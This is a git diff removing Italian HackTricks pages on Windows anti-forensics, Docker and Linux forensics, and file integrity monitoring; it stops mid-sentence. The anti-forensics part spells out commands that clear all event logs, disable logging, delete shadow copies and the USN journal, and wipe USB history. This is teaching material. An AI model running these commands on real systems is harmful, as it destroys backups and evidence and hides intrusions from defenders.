@@ -{{#include ../../banners/hacktricks-training.md}} - -# Timestamp - -Un attaccante potrebbe essere interessato a **cambiare i timestamp dei file** per evitare di essere rilevato.\ -È possibile trovare i timestamp all'interno del MFT negli attributi `$STANDARD_INFORMATION` **e** `$FILE_NAME`. - -Entrambi gli attributi hanno 4 timestamp: **Modifica**, **accesso**, **creazione** e **modifica del registro MFT** (MACE o MACB). - -**Windows explorer** e altri strumenti mostrano le informazioni da **`$STANDARD_INFORMATION`**. - -## TimeStomp - Strumento anti-forense - -Questo strumento **modifica** le informazioni sui timestamp all'interno di **`$STANDARD_INFORMATION`** **ma** **non** le informazioni all'interno di **`$FILE_NAME`**. Pertanto, è possibile **identificare** **attività** **sospette**. - -## Usnjrnl - -Il **USN Journal** (Update Sequence Number Journal) è una funzionalità del NTFS (sistema di file Windows NT) che tiene traccia delle modifiche al volume. Lo strumento [**UsnJrnl2Csv**](https://github.com/jschicht/UsnJrnl2Csv) consente di esaminare queste modifiche. - -![](<../../images/image (449).png>) - -L'immagine precedente è l'**output** mostrato dallo **strumento** dove si può osservare che alcune **modifiche sono state effettuate** al file. - -## $LogFile - -**Tutte le modifiche ai metadati di un file system sono registrate** in un processo noto come [write-ahead logging](https://en.wikipedia.org/wiki/Write-ahead_logging). I metadati registrati sono conservati in un file chiamato `**$LogFile**`, situato nella directory radice di un file system NTFS. Strumenti come [LogFileParser](https://github.com/jschicht/LogFileParser) possono essere utilizzati per analizzare questo file e identificare le modifiche. - -![](<../../images/image (450).png>) - -Ancora una volta, nell'output dello strumento è possibile vedere che **alcune modifiche sono state effettuate**. - -Utilizzando lo stesso strumento è possibile identificare **a quale ora i timestamp sono stati modificati**: - -![](<../../images/image (451).png>) - -- CTIME: Ora di creazione del file -- ATIME: Ora di modifica del file -- MTIME: Modifica del registro MFT del file -- RTIME: Ora di accesso del file - -## Confronto tra `$STANDARD_INFORMATION` e `$FILE_NAME` - -Un altro modo per identificare file modificati sospetti sarebbe confrontare il tempo su entrambi gli attributi cercando **discrepanze**. - -## Nanosecondi - -I timestamp **NTFS** hanno una **precisione** di **100 nanosecondi**. Quindi, trovare file con timestamp come 2010-10-10 10:10:**00.000:0000 è molto sospetto**. - -## SetMace - Strumento anti-forense - -Questo strumento può modificare entrambi gli attributi `$STARNDAR_INFORMATION` e `$FILE_NAME`. Tuttavia, a partire da Windows Vista, è necessario un OS live per modificare queste informazioni. - -# Nascondere dati - -NFTS utilizza un cluster e la dimensione minima delle informazioni. Ciò significa che se un file occupa e utilizza un cluster e mezzo, il **mezzo rimanente non verrà mai utilizzato** fino a quando il file non viene eliminato. Quindi, è possibile **nascondere dati in questo spazio di slack**. - -Ci sono strumenti come slacker che consentono di nascondere dati in questo spazio "nascosto". Tuttavia, un'analisi del `$logfile` e del `$usnjrnl` può mostrare che alcuni dati sono stati aggiunti: - -![](<../../images/image (452).png>) - -Quindi, è possibile recuperare lo spazio di slack utilizzando strumenti come FTK Imager. Nota che questo tipo di strumento può salvare il contenuto offuscato o persino crittografato. - -# UsbKill - -Questo è uno strumento che **spegnerà il computer se viene rilevata qualsiasi modifica nelle porte USB**.\ -Un modo per scoprirlo sarebbe ispezionare i processi in esecuzione e **rivedere ogni script python in esecuzione**. - -# Distribuzioni Linux Live - -Queste distro sono **eseguite all'interno della memoria RAM**. L'unico modo per rilevarle è **nel caso in cui il file system NTFS sia montato con permessi di scrittura**. Se è montato solo con permessi di lettura, non sarà possibile rilevare l'intrusione. - -# Cancellazione sicura - -[https://github.com/Claudio-C/awesome-data-sanitization](https://github.com/Claudio-C/awesome-data-sanitization) - -# Configurazione di Windows - -È possibile disabilitare diversi metodi di registrazione di Windows per rendere l'indagine forense molto più difficile. - -## Disabilitare i timestamp - UserAssist - -Questa è una chiave di registro che mantiene date e ore in cui ogni eseguibile è stato eseguito dall'utente. - -Disabilitare UserAssist richiede due passaggi: - -1. Impostare due chiavi di registro, `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackProgs` e `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackEnabled`, entrambe a zero per segnalare che vogliamo disabilitare UserAssist. -2. Cancellare i sottotree di registro che sembrano `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\`. - -## Disabilitare i timestamp - Prefetch - -Questo salverà informazioni sulle applicazioni eseguite con l'obiettivo di migliorare le prestazioni del sistema Windows. Tuttavia, questo può essere utile anche per pratiche forensi. - -- Eseguire `regedit` -- Selezionare il percorso del file `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\Memory Management\PrefetchParameters` -- Fare clic con il tasto destro su `EnablePrefetcher` e `EnableSuperfetch` -- Selezionare Modifica su ciascuno di questi per cambiare il valore da 1 (o 3) a 0 -- Riavviare - -## Disabilitare i timestamp - Ultimo accesso - -Ogni volta che una cartella viene aperta da un volume NTFS su un server Windows NT, il sistema impiega tempo per **aggiornare un campo di timestamp su ciascuna cartella elencata**, chiamato ultimo accesso. Su un volume NTFS molto utilizzato, questo può influire sulle prestazioni. - -1. Aprire l'Editor del Registro di sistema (Regedit.exe). -2. Navigare a `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem`. -3. Cercare `NtfsDisableLastAccessUpdate`. Se non esiste, aggiungere questo DWORD e impostare il suo valore su 1, che disabiliterà il processo. -4. Chiudere l'Editor del Registro di sistema e riavviare il server. - -## Eliminare la cronologia USB - -Tutti i **USB Device Entries** sono memorizzati nel Registro di Windows sotto la chiave di registro **USBSTOR** che contiene sottochiavi create ogni volta che si collega un dispositivo USB al PC o Laptop. Puoi trovare questa chiave qui `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR`. **Eliminando questo** eliminerai la cronologia USB.\ -Puoi anche utilizzare lo strumento [**USBDeview**](https://www.nirsoft.net/utils/usb_devices_view.html) per essere sicuro di averle eliminate (e per eliminarle). - -Un altro file che salva informazioni sugli USB è il file `setupapi.dev.log` all'interno di `C:\Windows\INF`. Questo dovrebbe essere eliminato anche. - -## Disabilitare le copie shadow - -**Elenca** le copie shadow con `vssadmin list shadowstorage`\ -**Elimina** eseguendo `vssadmin delete shadow` - -Puoi anche eliminarle tramite GUI seguendo i passaggi proposti in [https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html](https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html) - -Per disabilitare le copie shadow [passaggi da qui](https://support.waters.com/KB_Inf/Other/WKB15560_How_to_disable_Volume_Shadow_Copy_Service_VSS_in_Windows): - -1. Aprire il programma Servizi digitando "servizi" nella casella di ricerca dopo aver cliccato sul pulsante di avvio di Windows. -2. Dall'elenco, trovare "Volume Shadow Copy", selezionarlo e quindi accedere alle Proprietà facendo clic con il tasto destro. -3. Scegliere Disabilitato dal menu a discesa "Tipo di avvio" e quindi confermare la modifica facendo clic su Applica e OK. - -È anche possibile modificare la configurazione di quali file verranno copiati nella copia shadow nel registro `HKLM\SYSTEM\CurrentControlSet\Control\BackupRestore\FilesNotToSnapshot` - -## Sovrascrivere file eliminati - -- Puoi utilizzare uno **strumento di Windows**: `cipher /w:C` Questo indicherà a cipher di rimuovere qualsiasi dato dallo spazio su disco inutilizzato disponibile all'interno dell'unità C. -- Puoi anche utilizzare strumenti come [**Eraser**](https://eraser.heidi.ie) - -## Eliminare i registri eventi di Windows - -- Windows + R --> eventvwr.msc --> Espandi "Registri di Windows" --> Fai clic con il tasto destro su ciascuna categoria e seleziona "Cancella registro" -- `for /F "tokens=*" %1 in ('wevtutil.exe el') DO wevtutil.exe cl "%1"` -- `Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }` - -## Disabilitare i registri eventi di Windows - -- `reg add 'HKLM\SYSTEM\CurrentControlSet\Services\eventlog' /v Start /t REG_DWORD /d 4 /f` -- All'interno della sezione servizi disabilitare il servizio "Windows Event Log" -- `WEvtUtil.exec clear-log` o `WEvtUtil.exe cl` - -## Disabilitare $UsnJrnl - -- `fsutil usn deletejournal /d c:` - -{{#include ../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/docker-forensics.md b/src/forensics/basic-forensic-methodology/docker-forensics.md deleted file mode 100644 index db6dbd358..000000000 --- a/src/forensics/basic-forensic-methodology/docker-forensics.md +++ /dev/null @@ -1,96 +0,0 @@ -# Docker Forensics - -{{#include ../../banners/hacktricks-training.md}} - - -## Modifica del contenitore - -Ci sono sospetti che alcuni contenitori docker siano stati compromessi: -```bash -docker ps -CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES -cc03e43a052a lamp-wordpress "./run.sh" 2 minutes ago Up 2 minutes 80/tcp wordpress -``` -Puoi facilmente **trovare le modifiche apportate a questo container rispetto all'immagine** con: -```bash -docker diff wordpress -C /var -C /var/lib -C /var/lib/mysql -A /var/lib/mysql/ib_logfile0 -A /var/lib/mysql/ib_logfile1 -A /var/lib/mysql/ibdata1 -A /var/lib/mysql/mysql -A /var/lib/mysql/mysql/time_zone_leap_second.MYI -A /var/lib/mysql/mysql/general_log.CSV -... -``` -Nel comando precedente, **C** significa **Cambiato** e **A** significa **Aggiunto**.\ -Se scopri che un file interessante come `/etc/shadow` è stato modificato, puoi scaricarlo dal container per controllare attività malevole con: -```bash -docker cp wordpress:/etc/shadow. -``` -Puoi anche **confrontarlo con l'originale** eseguendo un nuovo container ed estraendo il file da esso: -```bash -docker run -d lamp-wordpress -docker cp b5d53e8b468e:/etc/shadow original_shadow #Get the file from the newly created container -diff original_shadow shadow -``` -Se scopri che **è stato aggiunto un file sospetto** puoi accedere al container e controllarlo: -```bash -docker exec -it wordpress bash -``` -## Modifiche alle immagini - -Quando ti viene fornita un'immagine docker esportata (probabilmente in formato `.tar`), puoi utilizzare [**container-diff**](https://github.com/GoogleContainerTools/container-diff/releases) per **estrarre un riepilogo delle modifiche**: -```bash -docker save > image.tar #Export the image to a .tar file -container-diff analyze -t sizelayer image.tar -container-diff analyze -t history image.tar -container-diff analyze -t metadata image.tar -``` -Poi, puoi **decomprimere** l'immagine e **accedere ai blob** per cercare file sospetti che potresti aver trovato nella cronologia delle modifiche: -```bash -tar -xf image.tar -``` -### Analisi di Base - -Puoi ottenere **informazioni di base** dall'immagine eseguendo: -```bash -docker inspect -``` -Puoi anche ottenere un riepilogo **storia delle modifiche** con: -```bash -docker history --no-trunc -``` -Puoi anche generare un **dockerfile da un'immagine** con: -```bash -alias dfimage="docker run -v /var/run/docker.sock:/var/run/docker.sock --rm alpine/dfimage" -dfimage -sV=1.36 madhuakula/k8s-goat-hidden-in-layers> -``` -### Dive - -Per trovare file aggiunti/modificati nelle immagini docker puoi anche utilizzare il [**dive**](https://github.com/wagoodman/dive) (scaricalo da [**releases**](https://github.com/wagoodman/dive/releases/tag/v0.10.0)): -```bash -#First you need to load the image in your docker repo -sudo docker load < image.tar 1 ⨯ -Loaded image: flask:latest - -#And then open it with dive: -sudo dive flask:latest -``` -Questo ti consente di **navigare attraverso i diversi blob delle immagini docker** e controllare quali file sono stati modificati/aggiunti. **Rosso** significa aggiunto e **giallo** significa modificato. Usa **tab** per passare alla vista successiva e **space** per comprimere/aprire le cartelle. - -Con die non sarai in grado di accedere al contenuto dei diversi stadi dell'immagine. Per farlo, dovrai **decomprimere ogni strato e accedervi**.\ -Puoi decomprimere tutti gli strati di un'immagine dalla directory in cui l'immagine è stata decompressa eseguendo: -```bash -tar -xf image.tar -for d in `find * -maxdepth 0 -type d`; do cd $d; tar -xf ./layer.tar; cd ..; done -``` -## Credenziali dalla memoria - -Nota che quando esegui un container docker all'interno di un host **puoi vedere i processi in esecuzione sul container dall'host** semplicemente eseguendo `ps -ef` - -Pertanto (come root) puoi **dumpare la memoria dei processi** dall'host e cercare **credenziali** proprio [**come nel seguente esempio**](../../linux-hardening/privilege-escalation/index.html#process-memory). - -{{#include ../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/file-integrity-monitoring.md b/src/forensics/basic-forensic-methodology/file-integrity-monitoring.md deleted file mode 100644 index 0e120d3f2..000000000 --- a/src/forensics/basic-forensic-methodology/file-integrity-monitoring.md +++ /dev/null @@ -1,26 +0,0 @@ -{{#include ../../banners/hacktricks-training.md}} - -# Baseline - -Una baseline consiste nel prendere uno snapshot di alcune parti di un sistema per **confrontarlo con uno stato futuro per evidenziare le modifiche**. - -Ad esempio, puoi calcolare e memorizzare l'hash di ciascun file del filesystem per poter scoprire quali file sono stati modificati.\ -Questo può essere fatto anche con gli account utente creati, i processi in esecuzione, i servizi in esecuzione e qualsiasi altra cosa che non dovrebbe cambiare molto, o affatto. - -## File Integrity Monitoring - -Il File Integrity Monitoring (FIM) è una tecnica di sicurezza critica che protegge gli ambienti IT e i dati tracciando le modifiche ai file. Comporta due passaggi chiave: - -1. **Baseline Comparison:** Stabilire una baseline utilizzando attributi dei file o checksum crittografici (come MD5 o SHA-2) per confronti futuri per rilevare modifiche. -2. **Real-Time Change Notification:** Ricevere avvisi istantanei quando i file vengono accessi o modificati, tipicamente attraverso estensioni del kernel del sistema operativo. - -## Tools - -- [https://github.com/topics/file-integrity-monitoring](https://github.com/topics/file-integrity-monitoring) -- [https://www.solarwinds.com/security-event-manager/use-cases/file-integrity-monitoring-software](https://www.solarwinds.com/security-event-manager/use-cases/file-integrity-monitoring-software) - -## References - -- [https://cybersecurity.att.com/blogs/security-essentials/what-is-file-integrity-monitoring-and-why-you-need-it](https://cybersecurity.att.com/blogs/security-essentials/what-is-file-integrity-monitoring-and-why-you-need-it) - -{{#include ../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/linux-forensics.md b/src/forensics/basic-forensic-methodology/linux-forensics.md deleted file mode 100644 index f2f87b129..000000000 --- a/src/forensics/basic-forensic-methodology/linux-forensics.md +++ /dev/null @@ -1,370 +0,0 @@ -# Linux Forensics - -{{#include ../../banners/hacktricks-training.md}} - -## Raccolta Iniziale di Informazioni - -### Informazioni di Base - -Prima di tutto, è consigliato avere una **USB** con **binaries e librerie ben noti** (puoi semplicemente prendere ubuntu e copiare le cartelle _/bin_, _/sbin_, _/lib,_ e _/lib64_), poi monta la USB e modifica le variabili di ambiente per utilizzare quei binaries: -```bash -export PATH=/mnt/usb/bin:/mnt/usb/sbin -export LD_LIBRARY_PATH=/mnt/usb/lib:/mnt/usb/lib64 -``` -Una volta configurato il sistema per utilizzare binari buoni e noti, puoi iniziare a **estrarre alcune informazioni di base**: -```bash -date #Date and time (Clock may be skewed, Might be at a different timezone) -uname -a #OS info -ifconfig -a || ip a #Network interfaces (promiscuous mode?) -ps -ef #Running processes -netstat -anp #Proccess and ports -lsof -V #Open files -netstat -rn; route #Routing table -df; mount #Free space and mounted devices -free #Meam and swap space -w #Who is connected -last -Faiwx #Logins -lsmod #What is loaded -cat /etc/passwd #Unexpected data? -cat /etc/shadow #Unexpected data? -find /directory -type f -mtime -1 -print #Find modified files during the last minute in the directory -``` -#### Informazioni sospette - -Mentre ottieni le informazioni di base, dovresti controllare cose strane come: - -- **I processi root** di solito vengono eseguiti con PIDS bassi, quindi se trovi un processo root con un PID elevato potresti sospettare -- Controlla i **login registrati** degli utenti senza una shell all'interno di `/etc/passwd` -- Controlla gli **hash delle password** all'interno di `/etc/shadow` per gli utenti senza una shell - -### Dump della memoria - -Per ottenere la memoria del sistema in esecuzione, è consigliato utilizzare [**LiME**](https://github.com/504ensicsLabs/LiME).\ -Per **compilarlo**, devi utilizzare lo **stesso kernel** che la macchina vittima sta utilizzando. - -> [!NOTE] -> Ricorda che **non puoi installare LiME o qualsiasi altra cosa** nella macchina vittima poiché apporterà diverse modifiche ad essa - -Quindi, se hai una versione identica di Ubuntu puoi usare `apt-get install lime-forensics-dkms`\ -In altri casi, devi scaricare [**LiME**](https://github.com/504ensicsLabs/LiME) da github e compilarlo con i corretti header del kernel. Per **ottenere gli header esatti del kernel** della macchina vittima, puoi semplicemente **copiare la directory** `/lib/modules/` sulla tua macchina, e poi **compilare** LiME utilizzandoli: -```bash -make -C /lib/modules//build M=$PWD -sudo insmod lime.ko "path=/home/sansforensics/Desktop/mem_dump.bin format=lime" -``` -LiME supporta 3 **formati**: - -- Raw (ogni segmento concatenato insieme) -- Padded (stesso del raw, ma con zeri nei bit a destra) -- Lime (formato raccomandato con metadati) - -LiME può anche essere utilizzato per **inviare il dump tramite rete** invece di memorizzarlo sul sistema utilizzando qualcosa come: `path=tcp:4444` - -### Imaging del disco - -#### Spegnimento - -Prima di tutto, è necessario **spegnere il sistema**. Questo non è sempre un'opzione poiché a volte il sistema sarà un server di produzione che l'azienda non può permettersi di spegnere.\ -Ci sono **2 modi** per spegnere il sistema, un **spegnimento normale** e uno **spegnimento "stacca la spina"**. Il primo permetterà ai **processi di terminare come al solito** e al **filesystem** di essere **synchronizzato**, ma permetterà anche al possibile **malware** di **distruggere le prove**. L'approccio "stacca la spina" può comportare **alcuna perdita di informazioni** (non molte informazioni andranno perse poiché abbiamo già preso un'immagine della memoria) e il **malware non avrà alcuna opportunità** di fare qualcosa al riguardo. Pertanto, se **sospetti** che ci possa essere un **malware**, esegui semplicemente il **comando** **`sync`** sul sistema e stacca la spina. - -#### Prendere un'immagine del disco - -È importante notare che **prima di collegare il computer a qualsiasi cosa relativa al caso**, è necessario essere certi che verrà **montato come sola lettura** per evitare di modificare qualsiasi informazione. -```bash -#Create a raw copy of the disk -dd if= of= bs=512 - -#Raw copy with hashes along the way (more secure as it checks hashes while it's copying the data) -dcfldd if= of= bs=512 hash= hashwindow= hashlog= -dcfldd if=/dev/sdc of=/media/usb/pc.image hash=sha256 hashwindow=1M hashlog=/media/usb/pc.hashes -``` -### Pre-analisi dell'immagine del disco - -Immaginare un'immagine del disco senza ulteriori dati. -```bash -#Find out if it's a disk image using "file" command -file disk.img -disk.img: Linux rev 1.0 ext4 filesystem data, UUID=59e7a736-9c90-4fab-ae35-1d6a28e5de27 (extents) (64bit) (large files) (huge files) - -#Check which type of disk image it's -img_stat -t evidence.img -raw -#You can list supported types with -img_stat -i list -Supported image format types: -raw (Single or split raw file (dd)) -aff (Advanced Forensic Format) -afd (AFF Multiple File) -afm (AFF with external metadata) -afflib (All AFFLIB image formats (including beta ones)) -ewf (Expert Witness Format (EnCase)) - -#Data of the image -fsstat -i raw -f ext4 disk.img -FILE SYSTEM INFORMATION --------------------------------------------- -File System Type: Ext4 -Volume Name: -Volume ID: 162850f203fd75afab4f1e4736a7e776 - -Last Written at: 2020-02-06 06:22:48 (UTC) -Last Checked at: 2020-02-06 06:15:09 (UTC) - -Last Mounted at: 2020-02-06 06:15:18 (UTC) -Unmounted properly -Last mounted on: /mnt/disk0 - -Source OS: Linux -[...] - -#ls inside the image -fls -i raw -f ext4 disk.img -d/d 11: lost+found -d/d 12: Documents -d/d 8193: folder1 -d/d 8194: folder2 -V/V 65537: $OrphanFiles - -#ls inside folder -fls -i raw -f ext4 disk.img 12 -r/r 16: secret.txt - -#cat file inside image -icat -i raw -f ext4 disk.img 16 -ThisisTheMasterSecret -``` -## Ricerca di Malware conosciuti - -### File di sistema modificati - -Linux offre strumenti per garantire l'integrità dei componenti di sistema, fondamentali per individuare file potenzialmente problematici. - -- **Sistemi basati su RedHat**: Usa `rpm -Va` per un controllo completo. -- **Sistemi basati su Debian**: `dpkg --verify` per una verifica iniziale, seguito da `debsums | grep -v "OK$"` (dopo aver installato `debsums` con `apt-get install debsums`) per identificare eventuali problemi. - -### Rilevatori di Malware/Rootkit - -Leggi la pagina seguente per conoscere gli strumenti che possono essere utili per trovare malware: - -{{#ref}} -malware-analysis.md -{{#endref}} - -## Ricerca di programmi installati - -Per cercare efficacemente programmi installati su sistemi Debian e RedHat, considera di sfruttare i log di sistema e i database insieme a controlli manuali in directory comuni. - -- Per Debian, ispeziona _**`/var/lib/dpkg/status`**_ e _**`/var/log/dpkg.log`**_ per ottenere dettagli sulle installazioni dei pacchetti, utilizzando `grep` per filtrare informazioni specifiche. -- Gli utenti di RedHat possono interrogare il database RPM con `rpm -qa --root=/mntpath/var/lib/rpm` per elencare i pacchetti installati. - -Per scoprire software installato manualmente o al di fuori di questi gestori di pacchetti, esplora directory come _**`/usr/local`**_, _**`/opt`**_, _**`/usr/sbin`**_, _**`/usr/bin`**_, _**`/bin`**_, e _**`/sbin`**_. Combina le liste delle directory con comandi specifici del sistema per identificare eseguibili non associati a pacchetti noti, migliorando la tua ricerca per tutti i programmi installati. -```bash -# Debian package and log details -cat /var/lib/dpkg/status | grep -E "Package:|Status:" -cat /var/log/dpkg.log | grep installed -# RedHat RPM database query -rpm -qa --root=/mntpath/var/lib/rpm -# Listing directories for manual installations -ls /usr/sbin /usr/bin /bin /sbin -# Identifying non-package executables (Debian) -find /sbin/ -exec dpkg -S {} \; | grep "no path found" -# Identifying non-package executables (RedHat) -find /sbin/ –exec rpm -qf {} \; | grep "is not" -# Find exacuable files -find / -type f -executable | grep -``` -## Recuperare i Binaries Eseguiti Cancellati - -Immagina un processo che è stato eseguito da /tmp/exec e poi cancellato. È possibile estrarlo. -```bash -cd /proc/3746/ #PID with the exec file deleted -head -1 maps #Get address of the file. It was 08048000-08049000 -dd if=mem bs=1 skip=08048000 count=1000 of=/tmp/exec2 #Recorver it -``` -## Ispeziona le posizioni di avvio automatico - -### Attività pianificate -```bash -cat /var/spool/cron/crontabs/* \ -/var/spool/cron/atjobs \ -/var/spool/anacron \ -/etc/cron* \ -/etc/at* \ -/etc/anacrontab \ -/etc/incron.d/* \ -/var/spool/incron/* \ - -#MacOS -ls -l /usr/lib/cron/tabs/ /Library/LaunchAgents/ /Library/LaunchDaemons/ ~/Library/LaunchAgents/ -``` -### Servizi - -Percorsi in cui un malware potrebbe essere installato come servizio: - -- **/etc/inittab**: Chiama script di inizializzazione come rc.sysinit, dirigendo ulteriormente verso script di avvio. -- **/etc/rc.d/** e **/etc/rc.boot/**: Contengono script per l'avvio dei servizi, il secondo si trova nelle versioni Linux più vecchie. -- **/etc/init.d/**: Utilizzato in alcune versioni Linux come Debian per memorizzare script di avvio. -- I servizi possono anche essere attivati tramite **/etc/inetd.conf** o **/etc/xinetd/**, a seconda della variante Linux. -- **/etc/systemd/system**: Una directory per gli script del gestore di sistema e servizi. -- **/etc/systemd/system/multi-user.target.wants/**: Contiene collegamenti ai servizi che dovrebbero essere avviati in un livello di esecuzione multi-utente. -- **/usr/local/etc/rc.d/**: Per servizi personalizzati o di terze parti. -- **\~/.config/autostart/**: Per applicazioni di avvio automatico specifiche dell'utente, che possono essere un nascondiglio per malware mirati all'utente. -- **/lib/systemd/system/**: File di unità predefiniti a livello di sistema forniti dai pacchetti installati. - -### Moduli del Kernel - -I moduli del kernel Linux, spesso utilizzati dal malware come componenti rootkit, vengono caricati all'avvio del sistema. Le directory e i file critici per questi moduli includono: - -- **/lib/modules/$(uname -r)**: Contiene moduli per la versione del kernel in esecuzione. -- **/etc/modprobe.d**: Contiene file di configurazione per controllare il caricamento dei moduli. -- **/etc/modprobe** e **/etc/modprobe.conf**: File per le impostazioni globali dei moduli. - -### Altre Posizioni di Avvio Automatico - -Linux utilizza vari file per eseguire automaticamente programmi al momento del login dell'utente, potenzialmente ospitando malware: - -- **/etc/profile.d/**\*, **/etc/profile**, e **/etc/bash.bashrc**: Eseguiti per qualsiasi login utente. -- **\~/.bashrc**, **\~/.bash_profile**, **\~/.profile**, e **\~/.config/autostart**: File specifici dell'utente che vengono eseguiti al loro login. -- **/etc/rc.local**: Viene eseguito dopo che tutti i servizi di sistema sono stati avviati, segnando la fine della transizione a un ambiente multiutente. - -## Esaminare i Log - -I sistemi Linux tracciano le attività degli utenti e gli eventi di sistema attraverso vari file di log. Questi log sono fondamentali per identificare accessi non autorizzati, infezioni da malware e altri incidenti di sicurezza. I file di log chiave includono: - -- **/var/log/syslog** (Debian) o **/var/log/messages** (RedHat): Catturano messaggi e attività a livello di sistema. -- **/var/log/auth.log** (Debian) o **/var/log/secure** (RedHat): Registrano tentativi di autenticazione, accessi riusciti e falliti. -- Usa `grep -iE "session opened for|accepted password|new session|not in sudoers" /var/log/auth.log` per filtrare eventi di autenticazione rilevanti. -- **/var/log/boot.log**: Contiene messaggi di avvio del sistema. -- **/var/log/maillog** o **/var/log/mail.log**: Registra le attività del server di posta, utile per tracciare servizi legati alla posta elettronica. -- **/var/log/kern.log**: Memorizza messaggi del kernel, inclusi errori e avvisi. -- **/var/log/dmesg**: Contiene messaggi del driver del dispositivo. -- **/var/log/faillog**: Registra tentativi di accesso falliti, utile per indagini su violazioni della sicurezza. -- **/var/log/cron**: Registra le esecuzioni dei job cron. -- **/var/log/daemon.log**: Traccia le attività dei servizi in background. -- **/var/log/btmp**: Documenta tentativi di accesso falliti. -- **/var/log/httpd/**: Contiene log di errore e accesso di Apache HTTPD. -- **/var/log/mysqld.log** o **/var/log/mysql.log**: Registra le attività del database MySQL. -- **/var/log/xferlog**: Registra trasferimenti di file FTP. -- **/var/log/**: Controlla sempre per log inaspettati qui. - -> [!NOTE] -> I log di sistema Linux e i sottosistemi di audit potrebbero essere disabilitati o eliminati in un'intrusione o in un incidente di malware. Poiché i log sui sistemi Linux contengono generalmente alcune delle informazioni più utili sulle attività dannose, gli intrusi li eliminano regolarmente. Pertanto, quando si esaminano i file di log disponibili, è importante cercare lacune o voci fuori ordine che potrebbero essere un'indicazione di eliminazione o manomissione. - -**Linux mantiene una cronologia dei comandi per ogni utente**, memorizzata in: - -- \~/.bash_history -- \~/.zsh_history -- \~/.zsh_sessions/\* -- \~/.python_history -- \~/.\*\_history - -Inoltre, il comando `last -Faiwx` fornisce un elenco di accessi degli utenti. Controllalo per accessi sconosciuti o inaspettati. - -Controlla i file che possono concedere privilegi extra: - -- Rivedi `/etc/sudoers` per privilegi utente imprevisti che potrebbero essere stati concessi. -- Rivedi `/etc/sudoers.d/` per privilegi utente imprevisti che potrebbero essere stati concessi. -- Esamina `/etc/groups` per identificare eventuali appartenenze a gruppi o permessi insoliti. -- Esamina `/etc/passwd` per identificare eventuali appartenenze a gruppi o permessi insoliti. - -Alcune app generano anche i propri log: - -- **SSH**: Esamina _\~/.ssh/authorized_keys_ e _\~/.ssh/known_hosts_ per connessioni remote non autorizzate. -- **Gnome Desktop**: Controlla _\~/.recently-used.xbel_ per file recentemente accessi tramite applicazioni Gnome. -- **Firefox/Chrome**: Controlla la cronologia del browser e i download in _\~/.mozilla/firefox_ o _\~/.config/google-chrome_ per attività sospette. -- **VIM**: Rivedi _\~/.viminfo_ per dettagli sull'uso, come percorsi di file accessi e cronologia delle ricerche. -- **Open Office**: Controlla l'accesso recente ai documenti che potrebbe indicare file compromessi. -- **FTP/SFTP**: Rivedi i log in _\~/.ftp_history_ o _\~/.sftp_history_ per trasferimenti di file che potrebbero essere non autorizzati. -- **MySQL**: Indaga _\~/.mysql_history_ per query MySQL eseguite, rivelando potenzialmente attività non autorizzate nel database. -- **Less**: Analizza _\~/.lesshst_ per la cronologia d'uso, inclusi file visualizzati e comandi eseguiti. -- **Git**: Esamina _\~/.gitconfig_ e il progetto _.git/logs_ per modifiche ai repository. - -### Log USB - -[**usbrip**](https://github.com/snovvcrash/usbrip) è un piccolo software scritto in puro Python 3 che analizza i file di log di Linux (`/var/log/syslog*` o `/var/log/messages*` a seconda della distribuzione) per costruire tabelle di cronologia degli eventi USB. - -È interessante **conoscere tutte le USB che sono state utilizzate** e sarà più utile se hai un elenco autorizzato di USB per trovare "eventi di violazione" (l'uso di USB che non sono all'interno di quell'elenco). - -### Installazione -```bash -pip3 install usbrip -usbrip ids download #Download USB ID database -``` -### Esempi -```bash -usbrip events history #Get USB history of your curent linux machine -usbrip events history --pid 0002 --vid 0e0f --user kali #Search by pid OR vid OR user -#Search for vid and/or pid -usbrip ids download #Downlaod database -usbrip ids search --pid 0002 --vid 0e0f #Search for pid AND vid -``` -More examples and info inside the github: [https://github.com/snovvcrash/usbrip](https://github.com/snovvcrash/usbrip) - -## Rivedere gli Account Utente e le Attività di Accesso - -Esaminare il _**/etc/passwd**_, _**/etc/shadow**_ e i **log di sicurezza** per nomi o account insoliti creati e/o utilizzati in prossimità di eventi non autorizzati noti. Inoltre, controllare possibili attacchi di brute-force sudo.\ -Inoltre, controllare file come _**/etc/sudoers**_ e _**/etc/groups**_ per privilegi inaspettati concessi agli utenti.\ -Infine, cercare account con **nessuna password** o **password facilmente indovinabili**. - -## Esaminare il File System - -### Analizzare le Strutture del File System nell'Investigazione di Malware - -Quando si indagano incidenti di malware, la struttura del file system è una fonte cruciale di informazioni, rivelando sia la sequenza degli eventi che il contenuto del malware. Tuttavia, gli autori di malware stanno sviluppando tecniche per ostacolare questa analisi, come modificare i timestamp dei file o evitare il file system per l'archiviazione dei dati. - -Per contrastare questi metodi anti-forensi, è essenziale: - -- **Condurre un'analisi approfondita della timeline** utilizzando strumenti come **Autopsy** per visualizzare le timeline degli eventi o `mactime` di **Sleuth Kit** per dati dettagliati sulla timeline. -- **Indagare su script inaspettati** nel $PATH del sistema, che potrebbero includere script shell o PHP utilizzati dagli attaccanti. -- **Esaminare `/dev` per file atipici**, poiché tradizionalmente contiene file speciali, ma potrebbe ospitare file relativi al malware. -- **Cercare file o directory nascosti** con nomi come ".. " (punto punto spazio) o "..^G" (punto punto controllo-G), che potrebbero nascondere contenuti dannosi. -- **Identificare file setuid root** utilizzando il comando: `find / -user root -perm -04000 -print` Questo trova file con permessi elevati, che potrebbero essere abusati dagli attaccanti. -- **Rivedere i timestamp di cancellazione** nelle tabelle inode per individuare cancellazioni di massa di file, che potrebbero indicare la presenza di rootkit o trojan. -- **Ispezionare inode 